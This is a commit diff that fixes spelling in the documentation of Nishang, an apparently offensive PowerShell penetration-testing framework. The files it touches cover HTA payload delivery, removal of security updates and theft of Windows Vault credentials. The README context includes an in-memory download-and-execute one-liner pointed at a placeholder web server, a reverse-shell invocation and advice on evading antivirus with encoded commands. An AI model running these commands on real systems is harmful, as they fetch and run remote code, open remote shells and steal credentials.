Fix minor spelling errors

Client/Out-HTA.ps1

@@ -17,7 +17,7 @@ a live page related to Windows Defender from Microsoft website to look legit.
 Payload which you want execute on the target.
 
 .PARAMETER PayloadURL
-URL of the powershell script which would be executed on the target.
+URL of the PowerShell script which would be executed on the target.
 
 .PARAMETER PayloadScript
 Path to the PowerShell script to be encoded in the HTA which would be executed on the target.

Escalation/Remove-Update.ps1

@@ -12,7 +12,7 @@ This payload removes updates from a target machine. This could be
 used to remove all updates, all security updates or a particular update.
 
 .PARAMETER KBID
-THE KBID of update you want to remove. All and Security are also validd.
+THE KBID of update you want to remove. All and Security are also valid.
 
 .EXAMPLE
 PS > Remove-Update All

Gather/Get-WebCredentials.ps1

@@ -5,7 +5,7 @@ function Get-WebCredentials
 Nishang script to retrieve web credentials from Windows vault (requires PowerShell v3 and above)
 
 .DESCRIPTION
-This script can be used to retreive web credentiaks stored in Windows Valut from Windows 8 onwards. The script 
+This script can be used to retreive web credentiaks stored in Windows Vault from Windows 8 onwards. The script 
 also needs PowerShell v3 onwards and must be run from an elevated shell.
 
 .EXAMPLE

README.md

@@ -36,7 +36,7 @@ PS C:\nishang> Get-Help Get-WLAN-Keys -Full
 ```
 
 #### Anti Virus
-Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
+Nishang scripts are flagged by many Anti Viruses as malicious. The scripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
 
 Method 1. Use the in-memory dowload and execute:
 Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.
@@ -48,7 +48,7 @@ powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>
 Method 2. Use the `-encodedcommand` (or `-e`) parameter of PowerShell
 All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) `"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"`.
 
-Encode the scrript using Invoke-Encode from Nishang:
+Encode the script using Invoke-Encode from Nishang:
 
 ```powershell
 PS C:\nishang> . \nishang\Utility\Invoke-Encode